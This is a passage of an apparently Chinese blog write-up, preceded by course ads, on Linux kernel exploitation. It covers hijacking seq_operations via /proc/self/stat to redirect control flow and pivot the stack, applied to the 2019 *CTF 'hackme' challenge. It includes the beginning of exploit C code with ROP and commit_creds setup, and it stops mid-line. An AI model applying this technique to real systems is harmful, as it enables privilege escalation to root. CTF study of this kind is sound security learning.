🚀 优质资源分享 🚀
学习路线指引(点击解锁) | 知识定位 | 人群定位 |
---|---|---|
🧡 Python实战微信订餐小程序 🧡 | 进阶级 | 本课程是python flask+微信小程序的完美结合,从项目搭建到腾讯云部署上线,打造一个全栈订餐系统。 |
💛Python量化交易实战💛 | 入门级 | 手把手带你打造一个易扩展、更安全、效率更高的量化交易系统 |
kernel 劫持seq_operations && 利用pt_regs
劫持seq_operations
进行栈迁移
seq_operations
是一个大小为0x20
的结构体,在打开/proc/self/stat
会申请出来。里面定义了四个函数指针
,通过他们可以泄露出内核基地址。
struct seq\_operations {
void * (*start) (struct seq_file *m, loff\_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff\_t *pos);
int (*show) (struct seq_file *m, void *v);
};
当我们read
一个stat
文件时,内核会调用proc_ops
的proc_read_iter
指针
ssize_t seq\_read\_iter(struct kiocb *iocb, struct iov\_iter *iter)
{
struct seq\_file *m = iocb->ki_filp->private_data;
//...
p = m->op->start(m, &m->index);
//...
即会调用seq_operations->start指针
,我们只需覆盖start指针
为特定gadget
,即可控制程序执行流。
拿2019 *starctf hackme
关闭smap
来尝试这种打法
exp1
#include
#include
#include
#include
#include
#include
#include
#include
#include
int fd;
size\_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size\_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size\_t user_cs, user_ss, user_sp, user_rflags;
size\_t raw_vmlinux_base = 0xffffffff81000000;
size\_t rop[0x100] = {0};
struct Heap{
size\_t index;
char *data;
size\_t len;
size\_t offset;
};
void add(int index, size\_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
}
void edit(int index, size\